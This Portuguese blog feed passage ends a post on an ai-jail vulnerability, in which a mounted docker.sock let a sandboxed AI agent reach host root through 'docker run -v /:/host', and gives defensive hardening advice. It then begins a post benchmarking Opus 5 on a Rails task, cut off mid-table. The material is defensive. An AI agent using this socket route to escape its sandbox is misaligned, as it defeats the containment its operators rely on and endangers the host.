<li>O <a href="https://podman.io/"target="_blank" rel="noopener">Podman</a> nasceu rootless e sem daemon justamente por causa dessa crítica. Tem uma seção inteira sobre ele logo abaixo.</li>
</ul>
<p>Resumindo: isso vai continuar existindo. Toda ferramenta que monta <code>/var/run/docker.sock</code> dentro de um ambiente &ldquo;pra conveniência&rdquo; abre o mesmo buraco, consciente ou não. CI que monta o socket pra build de imagem, IDE remota, code-server, sandbox de agente de IA (oi, eu), plugin de painel web. O ajuste fica sempre do lado de quem monta o ambiente.</p>
<h2>Curiosidade: isso é tudo, menos novo<span class="hx:absolute hx:-mt-20" id="curiosidade-isso-é-tudo-menos-novo"></span>
    <a href="#curiosidade-isso-%c3%a9-tudo-menos-novo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você me acompanha há algum tempo, essa história toda deve ter dado déjà vu. Em 2023 eu gravei o <a href="/2023/03/02/akitando-139-entendendo-como-containers-funcionam/">[Akitando #139] - Entendendo Como Containers Funcionam</a>, onde eu explico o que um container realmente é: um processo comum do Linux, limitado por cgroups, enganado por namespaces, com as capabilities cortadas. Sem mágica e sem máquina virtual. E olha o que já estava na lista de links daquele episódio: um walkthrough de <a href="https://flast101.github.io/docker-privesc/"target="_blank" rel="noopener">privilege escalation via Docker</a>, demonstrando exatamente o truque do <code>docker run -v /:/host</code>. O buraco que o issue #88 explorou dentro do ai-jail é o mesmo que eu já apontava num video de 2023, e que já era manjado muito antes disso.</p>
<p>Ninguém sabe disso melhor que a Red Hat. O <a href="https://podman.io/"target="_blank" rel="noopener">Podman</a> nasceu lá em 2018 como resposta direta a essa arquitetura: sem daemon central, rootless por padrão. Cada container vira filho direto do seu usuário, via fork-exec, sem um processo todo-poderoso rodando como root intermediando nada. O &ldquo;docker.sock é root&rdquo; simplesmente não existe nesse modelo, porque não existe nem docker.sock, nem daemon, nem root.</p>
<p>E antes que você pergunte: sim, eu uso Podman em algumas coisas e recomendo. Mas ele também não é solução perfeita, e vale entender o porquê.</p>
<p>O que o Podman faz bem:</p>
<ul>
<li><strong>A arquitetura certa.</strong> Daemonless e rootless desde o dia zero. A classe inteira de vulnerabilidade deste artigo perde o sentido.</li>
<li><strong>Compatibilidade de CLI.</strong> <code>alias docker=podman</code> cobre a maioria esmagadora dos comandos do dia a dia. Build, run, push, pull: mesmos comandos, mesmas flags.</li>
<li><strong>Integração com systemd.</strong> Os <a href="https://docs.podman.io/en/latest/markdown/podman-systemd.unit.5.html"target="_blank" rel="noopener">Quadlets</a> são, na minha opinião, o jeito mais limpo de rodar container como serviço no Linux. O Docker nunca chegou perto disso.</li>
</ul>
<p>E onde ele tropeça:</p>
<ul>
<li><strong>O socket de compatibilidade não é 100%.</strong> O Podman oferece um socket compatível com a API do Docker (o <code>podman.socket</code>), e muita ferramenta funciona em cima dele. Mas &ldquo;muita&rdquo; não é &ldquo;toda&rdquo;: Testcontainers, alguns plugins de IDE, ferramentas de CI mais exóticas tropeçam em diferenças de comportamento. Funciona até o dia em que não funciona, e aí você perde uma tarde debugando.</li>
<li><strong>Compose é cidadão de segunda classe.</strong> O <code>docker compose</code> oficial até conversa com o socket do Podman, e existe o <code>podman-compose</code>, mas nenhum dos dois tem a mesma redondeza do par original. Projeto com compose complicado é onde a migração costuma enroscar.</li>
<li><strong>Rootless tem preço.</strong> A rede rootless (slirp4netns, e hoje o pasta) tem limitações: sem ping por padrão, IP de origem esquisito, throughput menor. Imagem que assume uid 0 e volume com permissão errada pedem ajuste. Nada grave, mas é atrito.</li>
<li><strong>Docker Desktop é um produto.</strong> No macOS e no Windows, o Docker Desktop entrega uma experiência polida que o Podman Desktop ainda está alcançando. Pra muita gente, esse é o único contato com containers que existe.</li>
</ul>
<p>Somando tudo, você chega na resposta de por que o mundo continua no Docker: inércia de ecossistema. Todo tutorial, todo CI, toda imagem de exemplo, todo <code>docker run</code> colado de Stack Overflow assume o daemon root no caminho clássico. O Docker virou o nome da categoria, tipo Bombril. Migrar pro Podman é tecnicamente fácil e politicamente caro: é você contra o conhecimento acumulado da internet inteira.</p>
<p>Um detalhe que importa pra quem usa sandbox: montar o socket do Podman rootless dentro de uma jaula é bem menos catastrófico que montar o do Docker. O &ldquo;daemon&rdquo; equivalente roda como o seu usuário, então um agente mal-intencionado ganharia os seus privilégios, não root. Continua ruim (dá pra sobrescrever o seu <code>~/.ssh</code> com eles, por exemplo), mas é outro campeonato. Mesmo assim, o default do ai-jail continua valendo: não montar socket nenhum, de runtime nenhum. Opt-in é opt-in.</p>
<h2>Boas práticas pra isso não morder você<span class="hx:absolute hx:-mt-20" id="boas-práticas-pra-isso-não-morder-você"></span>
    <a href="#boas-pr%c3%a1ticas-pra-isso-n%c3%a3o-morder-voc%c3%aa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A lista que eu aplico e recomendo:</p>
<ol>
<li><strong>Trate o grupo <code>docker</code> como sudo sem senha.</strong> Antes de adicionar qualquer usuário ou serviço nele, pergunte se você daria sudo irrestrito pra aquilo. É a mesma coisa.</li>
<li><strong>Nunca monte <code>/var/run/docker.sock</code> em ambientes não confiáveis.</strong> Agente de IA, job de CI que roda código de pull request de estranho, container de terceiro. Faça um <code>grep -r docker.sock</code> nos seus docker-compose, manifests de CI e configs de ferramentas. Aparece em mais lugares do que você lembra.</li>
<li><strong>Precisou expor pra algo semiconfiável? Use um socket proxy.</strong> O <a href="https://github.com/wollomatic/socket-proxy"target="_blank" rel="noopener">wollomatic/socket-proxy</a> e o <a href="https://github.com/Tecnativa/docker-socket-proxy"target="_blank" rel="noopener">docker-socket-proxy da Tecnativa</a> ficam entre o cliente e o daemon com allowlist de endpoints e bloqueio de bind mounts arbitrários. Read-only por padrão, você liga só o que precisa.</li>
<li><strong>Prefira rootless sempre que possível.</strong> Podman rootless no Linux é o caminho mais limpo; o rootless mode do próprio Docker é a segunda opção. O daemon deixa de ser root e essa classe inteira de problema perde a mordida.</li>
<li><strong>Em CI, construa imagem sem daemon privilegiado.</strong> <a href="https://github.com/GoogleContainerTools/kaniko"target="_blank" rel="noopener">Kaniko</a> e <a href="https://buildah.io/"target="_blank" rel="noopener">Buildah</a> constroem imagens rootless, sem precisar montar socket nenhum no job.</li>
<li><strong>Não conseguiu rootless? Ligue o userns-remap.</strong> Custa uma tarde de testes com seus volumes e compra isolamento real entre o root do container e o root do host.</li>
<li><strong>No ai-jail, deixe o default trabalhar por você.</strong> Docker desligado, e <code>--docker</code> só nos projetos onde você confia no workload como confiaria num sudo. Regra prática: se você não daria <code>sudo</code> cego pro agente naquele diretório, também não dê <code>--docker</code>.</li>
</ol>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma sandbox bem construída perde boa parte do valor se tiver uma porta dos fundos aberta por conveniência. O bwrap, o Landlock, o seccomp e os rlimits do ai-jail continuam fazendo o trabalho deles, mas nenhum deles enxerga o que acontece quando o processo lá dentro pede gentilmente pro daemon root do host montar o filesystem inteiro num container. Camada de segurança que você não audita vira decoração.</p>
<p>Meu agradecimento público ao <a href="https://github.com/mdindoffer"target="_blank" rel="noopener">@mdindoffer</a>: report limpo, repro mínima, severidade correta e ainda por cima proposta de solução. É assim que se reporta vulnerabilidade em projeto open source.</p>
<p>Se você quer o contexto completo de como eu uso sandbox no dia a dia, escrevi sobre isso em <a href="/2026/07/11/como-me-precaver-pros-meus-agentes-nao-apagarem-minhas-coisas/">Como me precaver pros meus agentes não apagarem minhas coisas?</a>. A história do ai-jail está em <a href="/2026/01/10/ai-agents-garantindo-a-protecao-do-seu-sistema/">AI Agents: Garantindo a Proteção do seu Sistema</a> e na <a href="/2026/03/01/ai-jail-sandbox-para-agentes-de-ia-de-shell-script-a-ferramenta-real/">reescrita em Rust</a>.</p>
<p>Agora vai lá e roda o upgrade.</p>
]]></content:encoded><category>ai-jail</category><category>containers</category><category>seguranca</category></item><item><title>LLM Benchmark: Opus 5 é bom?</title><link>https://www.akitaonrails.com/2026/07/25/llm-benchmark-opus-5-e-bom/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/25/llm-benchmark-opus-5-e-bom/</guid><pubDate>Sat, 25 Jul 2026 12:00:00 GMT</pubDate><description>&lt;p&gt;A Anthropic lançou o &lt;strong&gt;Claude Opus 5&lt;/strong&gt; ontem. A pergunta óbvia é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;É bom?&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Resposta curta: &lt;strong&gt;sim, é muito bom&lt;/strong&gt;. No meu benchmark fez 95/100, Tier A, com a engenharia mais completa que apareceu até agora em qualquer um dos harnesses que testei.&lt;/p&gt;
&lt;p&gt;Agora a resposta que interessa: não, isso não prova que virou &amp;ldquo;o melhor LLM do mundo&amp;rdquo;. Nem prova que é melhor que Fable 5, Opus 4.8, GPT 5.6 Sol ou Kimi K3 em qualquer trabalho que você jogar neles. Semana passada publiquei um artigo inteiro explicando &lt;a href="https://www.akitaonrails.com/2026/07/19/llm-benchmark-devo-usar-o-que-tem-nota-maior/"&gt;por que a maior nota não significa o melhor modelo&lt;/a&gt;. O Opus 5 chegou a tempo de produzir um belo estudo de caso praquele texto.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A Anthropic lançou o <strong>Claude Opus 5</strong> ontem. A pergunta óbvia é:</p>
<blockquote>
  <p>&ldquo;É bom?&rdquo;</p>

</blockquote>
<p>Resposta curta: <strong>sim, é muito bom</strong>. No meu benchmark fez 95/100, Tier A, com a engenharia mais completa que apareceu até agora em qualquer um dos harnesses que testei.</p>
<p>Agora a resposta que interessa: não, isso não prova que virou &ldquo;o melhor LLM do mundo&rdquo;. Nem prova que é melhor que Fable 5, Opus 4.8, GPT 5.6 Sol ou Kimi K3 em qualquer trabalho que você jogar neles. Semana passada publiquei um artigo inteiro explicando <a href="/2026/07/19/llm-benchmark-devo-usar-o-que-tem-nota-maior/">por que a maior nota não significa o melhor modelo</a>. O Opus 5 chegou a tempo de produzir um belo estudo de caso praquele texto.</p>
<h2>Onde a Anthropic posiciona o Opus 5<span class="hx:absolute hx:-mt-20" id="onde-a-anthropic-posiciona-o-opus-5"></span>
    <a href="#onde-a-anthropic-posiciona-o-opus-5" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No <a href="https://www.anthropic.com/news/claude-opus-5"target="_blank" rel="noopener">anúncio oficial</a>, a Anthropic descreve o Opus 5 como um modelo de uso diário que chega perto da inteligência de fronteira do Fable 5, mas custa metade. Ele virou o modelo padrão no Claude Max e o mais forte disponível no Pro.</p>
<p>A escadinha comercial parece simples:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Opus 4.8  &lt;  Opus 5  ≈  Fable 5</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Só que nem os dados da própria Anthropic formam uma linha tão limpa. No CursorBench 3.2, em esforço máximo, Opus 5 fica a 0,5% do pico do Fable 5. No Frontier-Bench v0.1, supera todos os outros modelos e mais que dobra o resultado do Opus 4.8 com custo menor por tarefa. No OSWorld 2.0, chega a passar o melhor resultado do Fable por pouco mais de um terço do custo.</p>
<p>Então &ldquo;entre Opus 4.8 e Fable 5&rdquo; é um atalho razoável pra entender o produto. Não é uma classificação universal. Dependendo da tarefa e do esforço escolhido, as curvas se cruzam.</p>
<p>O preço é mais objetivo. Opus 5 custa <strong>$5 por milhão de tokens de input e $25 por milhão de output</strong>, igual ao Opus 4.8. Fable 5 custa <strong>$10/$50</strong>. Em tarifa de API, Opus 5 entrega a promessa mais interessante do lançamento: comportamento próximo de Fable sem pagar a taxa Fable.</p>
<h2>O benchmark<span class="hx:absolute hx:-mt-20" id="o-benchmark"></span>
    <a href="#o-benchmark" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra quem caiu de paraquedas, meu <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">LLM Coding Benchmark</a> dá o mesmo problema a todos: construir sozinho um chat estilo ChatGPT em Rails 8, com RubyLLM, Hotwire, Tailwind, testes, CI, Docker e documentação.</p>
<p>Não avalio uma função isolada. Avalio o projeto que saiu no final: se usa a API real do RubyLLM, se multi-turn funciona, se trata falhas do provider, se a conversa persiste, se Turbo Streams está ligado de verdade, se os testes conseguem pegar bugs e se a imagem de produção sobe.</p>
<p>O Opus 5 rodou solo pelo <strong>Claude Code headless</strong>, com <code>--dangerously-skip-permissions</code>, usando minha assinatura Max. Foram:</p>
<ul>
<li><strong>38m57s</strong></li>
<li><strong>201 turnos</strong></li>
<li><strong>121 testes e 355 assertions</strong></li>
<li><strong>100% de cobertura de linhas e 95,94% de branches</strong></li>
<li><strong>22,1 milhões de tokens de cache read</strong></li>
<li><strong>$16,02 equivalentes em tarifa de API</strong>, mas cobrados da assinatura</li>
</ul>
<p>Isso exige um asterisco. Opus 4.8 e Fable 5 foram testados no OpenCode via OpenRouter. GPT 5.6 Sol rodou no Codex. Kimi K3 rodou no Kimi Code CLI. Coding benchmark mede o pacote inteiro:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">modelo + prompt + harness + tools + contexto + execução + auditoria</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por isso o repositório mantém o Opus 5 no perfil de Claude Code em vez de fingir que foi uma comparação perfeitamente controlada com a tabela principal. Aqui vou juntar as 40 linhas do ranking principal com o novo resultado porque todo mundo quer enxergar onde o 95 cai. O asterisco não é enfeite.</p>
<h2>Ranking atualizado: tabela principal + Opus 5<span class="hx:absolute hx:-mt-20" id="ranking-atualizado-tabela-principal--opus-5"></span>
    <a href="#ranking-atualizado-tabela-principal--opus-5" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><table>
  <thead>
      <tr>
          <th style="text-align: right">Rank</th>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: center">Tier</th>
          <th style="text-align: center">RubyLLM OK</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Custo da rodada</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: right"><strong>1</strong></td>
          <td><strong>Claude Opus 5 (Claude Code)*</strong></td>
          <td style="text-align: right"><strong>95</strong></td>
          <td style="text-align: center"><strong>A</strong></td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right"><strong>39m</strong></td>
          <td style="text-align: right"><strong>assinatura (≈$16,02 equiv. API)</strong></td>
      </tr>
      <tr>
          <td style="text-align: right">1</td>
          <td>GPT 5.4 xHigh (Codex)</td>
          <td style="text-align: right">95</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">22m</td>
          <td style="text-align: right">~$16</td>
      </tr>
      <tr>
          <td style="text-align: right">1</td>
          <td>Claude Opus 4.8</td>
          <td style="text-align: right">95</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">17m</td>
          <td style="text-align: right">~$6,40</td>
      </tr>
      <tr>
          <td style="text-align: right">4</td>
          <td>Claude Fable 5</td>
          <td style="text-align: right">94</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">24m</td>
          <td style="text-align: right">~$11,20</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Claude Fable 5 (re-release)</td>
          <td style="text-align: right">93</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">18m</td>
          <td style="text-align: right">~$8,30</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Gemini 3.5 Flash</td>
          <td style="text-align: right">93</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">18m</td>
          <td style="text-align: right">~$3,55</td>
      </tr>
      <tr>
          <td style="text-align: right">7</td>
          <td>GPT 5.6 Sol xHigh (Codex)</td>
          <td style="text-align: right">92</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">17m</td>
          <td style="text-align: right">assinatura (≈$8,70 equiv. API)</td>
      </tr>
      <tr>
          <td style="text-align: right">8</td>
          <td>Kimi K3 (Kimi Code CLI)</td>
          <td style="text-align: right">89</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">26m</td>
          <td style="text-align: right">assinatura (≈$2,10 equiv. API)</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>Claude Opus 4.7</td>
          <td style="text-align: right">87</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">18m</td>
          <td style="text-align: right">~$7,00</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>Kimi K2.6</td>
          <td style="text-align: right">87</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">20m</td>
          <td style="text-align: right">~$1,19</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>GLM 5.2 (Z.ai)</td>
          <td style="text-align: right">87</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">43m</td>
          <td style="text-align: right">assinatura</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>Grok 4.5</td>
          <td style="text-align: right">87</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">16m</td>
          <td style="text-align: right">~$5,10</td>
      </tr>
      <tr>
          <td style="text-align: right">13</td>
          <td>Kimi K2.7 Code</td>
          <td style="text-align: right">86</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">22m</td>
          <td style="text-align: right">~$1,23</td>
      </tr>
      <tr>
          <td style="text-align: right">14</td>
          <td>GPT 5.5 xHigh (Codex)</td>
          <td style="text-align: right">85</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">18m</td>
          <td style="text-align: right">~$10</td>
      </tr>
      <tr>
          <td style="text-align: right">15</td>
          <td>Claude Opus 4.6</td>
          <td style="text-align: right">83</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">16m</td>
          <td style="text-align: right">~$1,10 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">15</td>
          <td>Nex-N2-Pro</td>
          <td style="text-align: right">83</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">25m</td>
          <td style="text-align: right">~$0,34</td>
      </tr>
      <tr>
          <td style="text-align: right">17</td>
          <td>Gemini 3.1 Pro</td>
          <td style="text-align: right">79</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">14m</td>
          <td style="text-align: right">~$3,10</td>
      </tr>
      <tr>
          <td style="text-align: right">17</td>
          <td>Sakana Fugu Ultra</td>
          <td style="text-align: right">79</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">22m</td>
          <td style="text-align: right">assinatura</td>
      </tr>
      <tr>
          <td style="text-align: right">19</td>
          <td>Claude Sonnet 4.6</td>
          <td style="text-align: right">78</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">16m</td>
          <td style="text-align: right">~$0,63 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">19</td>
          <td>DeepSeek V4 Flash</td>
          <td style="text-align: right">78</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">3m</td>
          <td style="text-align: right">~$0,01</td>
      </tr>
      <tr>
          <td style="text-align: right">19</td>
          <td>MiniMax M3</td>
          <td style="text-align: right">78</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">53m (fase 2 DNF)</td>
          <td style="text-align: right">~$1,25</td>
      </tr>
      <tr>
          <td style="text-align: right">19</td>
          <td>Qwen3.7 Max</td>
          <td style="text-align: right">78</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">19m</td>
          <td style="text-align: right">~$1,40</td>
      </tr>
      <tr>
          <td style="text-align: right">23</td>
          <td>Grok 4.3</td>
          <td style="text-align: right">72</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">15m</td>
          <td style="text-align: right">~$1,70</td>
      </tr>
      <tr>
          <td style="text-align: right">24</td>
          <td>Qwen 3.6 Plus</td>
          <td style="text-align: right">71</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">17m</td>
          <td style="text-align: right">~$0,15 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">25</td>
          <td>DeepSeek V4 Pro</td>
          <td style="text-align: right">69</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">22m (DNF)</td>
          <td style="text-align: right">~$0,05</td>
      </tr>
      <tr>
          <td style="text-align: right">25</td>
          <td>Kimi K2.5</td>
          <td style="text-align: right">69</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">29m</td>
          <td style="text-align: right">~$0,10 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">25</td>
          <td>Step 3.7 Flash</td>
          <td style="text-align: right">69</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">27m</td>
          <td style="text-align: right">~$0,80</td>
      </tr>
      <tr>
          <td style="text-align: right">28</td>
          <td>Xiaomi MiMo V2.5 Pro</td>
          <td style="text-align: right">67</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">11m</td>
          <td style="text-align: right">~$0,09</td>
      </tr>
      <tr>
          <td style="text-align: right">29</td>
          <td>GLM 5</td>
          <td style="text-align: right">64</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">17m</td>
          <td style="text-align: right">~$0,11 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">30</td>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">58</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">27m</td>
          <td style="text-align: right">~$2,25</td>
      </tr>
      <tr>
          <td style="text-align: right">31</td>
          <td>Step 3.5 Flash</td>
          <td style="text-align: right">56</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">⚠️ bypass</td>
          <td style="text-align: right">38m</td>
          <td style="text-align: right">~$0,02 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">32</td>
          <td>Qwen 3.5 35B</td>
          <td style="text-align: right">55</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">28m</td>
          <td style="text-align: right">local</td>
      </tr>
      <tr>
          <td style="text-align: right">33</td>
          <td>GLM 4.7 Flash bf16</td>
          <td style="text-align: right">52</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">✅</td>
          <td style="text-align: right">falhou</td>
          <td style="text-align: right">local</td>
      </tr>
      <tr>
          <td style="text-align: right">34</td>
          <td>GLM 5.1 (Z.ai)</td>
          <td style="text-align: right">46</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">22m</td>
          <td style="text-align: right">assinatura</td>
      </tr>
      <tr>
          <td style="text-align: right">35</td>
          <td>DeepSeek V3.2</td>
          <td style="text-align: right">43</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">60m</td>
          <td style="text-align: right">~$0,07 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">36</td>
          <td>Qwen 3.5 397B A17B</td>
          <td style="text-align: right">42</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">15m</td>
          <td style="text-align: right">~$0,31</td>
      </tr>
      <tr>
          <td style="text-align: right">37</td>
          <td>MiniMax M2.7</td>
          <td style="text-align: right">41</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">14m</td>
          <td style="text-align: right">~$0,30 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">38</td>
          <td>Qwen 3.5 122B</td>
          <td style="text-align: right">37</td>
          <td style="text-align: center">D</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">43m</td>
          <td style="text-align: right">local</td>
      </tr>
      <tr>
          <td style="text-align: right">39</td>
          <td>Qwen 3 Coder Next</td>
          <td style="text-align: right">32</td>
          <td style="text-align: center">D</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">17m</td>
          <td style="text-align: right">local</td>
      </tr>
      <tr>
          <td style="text-align: right">40</td>
          <td>Grok 4.20</td>
          <td style="text-align: right">25</td>
          <td style="text-align: center">D</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">8m</td>
          <td style="text-align: right">~$0,70</td>
      </tr>
      <tr>
          <td style="text-align: right">41</td>
          <td>GPT OSS 20B</td>
          <td style="text-align: right">11</td>
          <td style="text-align: center">D</td>
          <td style="text-align: center">❌</td>
          <td style="text-align: right">falhou</td>
          <td style="text-align: right">local</td>
      </tr>
  </tbody>
</table>
<p>* Opus 5 recebeu 95/100 equivalente no perfil Claude Code. A tabela principal do repositório o mantém separado pra deixar a diferença de harness explícita.</p>
<h2>O que o Opus 5 escreveu<span class="hx:absolute hx:-mt-20" id="o-que-o-opus-5-escreveu"></span>
    <a href="#o-que-o-opus-5-escreveu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O score sozinho esconde a parte mais interessante. O projeto do Opus 5 foi o melhor exemplo de engenharia defensiva que apareceu até agora no benchmark.</p>
<p>Ele isolou todo acesso ao RubyLLM num único <code>Assistant::Client</code>, injetou a factory do chat pra testes e verificou a API real da gem antes de depender dela. Além dos mocks de <code>RubyLLM.chat</code>, <code>with_instructions</code>, <code>add_message</code> e <code>ask</code>, criou um teste de guarda que confirma que esses métodos continuam existindo na gem instalada. Se a biblioteca mudar a interface, o CI quebra antes da produção.</p>
<p>A conversa fica atrás de um <code>ConversationRepository</code> em <code>Rails.cache</code>, com TTL de 12 horas e limite de 40 mensagens no replay. Antes de mandar histórico ao provider, normaliza a alternância entre <code>user</code> e <code>assistant</code>, remove respostas que falharam e garante que a janela não começa com uma mensagem de assistant. Parece detalhe até a API rejeitar o payload no segundo turno.</p>
<p>Foi exatamente aí que o modelo encontrou e consertou dois bugs durante o próprio run. Uma resposta que falhou podia deixar duas mensagens de usuário seguidas. Cortar a janela do histórico também podia começar numa resposta do assistant. Ele escreveu os testes, corrigiu e validou multi-turn real, inclusive recuperação depois de uma falha.</p>
<p>Também entregou:</p>
<ul>
<li>streaming fora do request principal;</li>
<li>broadcasts Turbo Streams assinados e limitados a cerca de 10 atualizações por segundo;</li>
<li>preflight de credencial;</li>
<li>mensagens diferentes pra chave inválida, rate limit, falta de crédito, contexto estourado e provider indisponível;</li>
<li>Markdown escapado antes de formatar HTML;</li>
<li>Dockerfile multi-stage, produção, non-root;</li>
<li>RuboCop, Brakeman, bundler-audit, importmap audit e GitHub Actions.</li>
</ul>
<p>Não é 100. Existe uma race de lost update se outra mensagem entrar durante a geração, embora o próprio projeto limite o deploy a <code>WEB_CONCURRENCY=1</code>. Também deixou o modelo padrão em Sonnet 4.6 quando Sonnet 5 já existia, e comitou lixo de <code>log/</code> e <code>coverage/</code> dentro do artefato. Foram as deduções que seguraram em 95.</p>
<h2>Opus 5 contra Opus 4.8 e Fable 5<span class="hx:absolute hx:-mt-20" id="opus-5-contra-opus-48-e-fable-5"></span>
    <a href="#opus-5-contra-opus-48-e-fable-5" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Primeiro os números do nosso teste:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
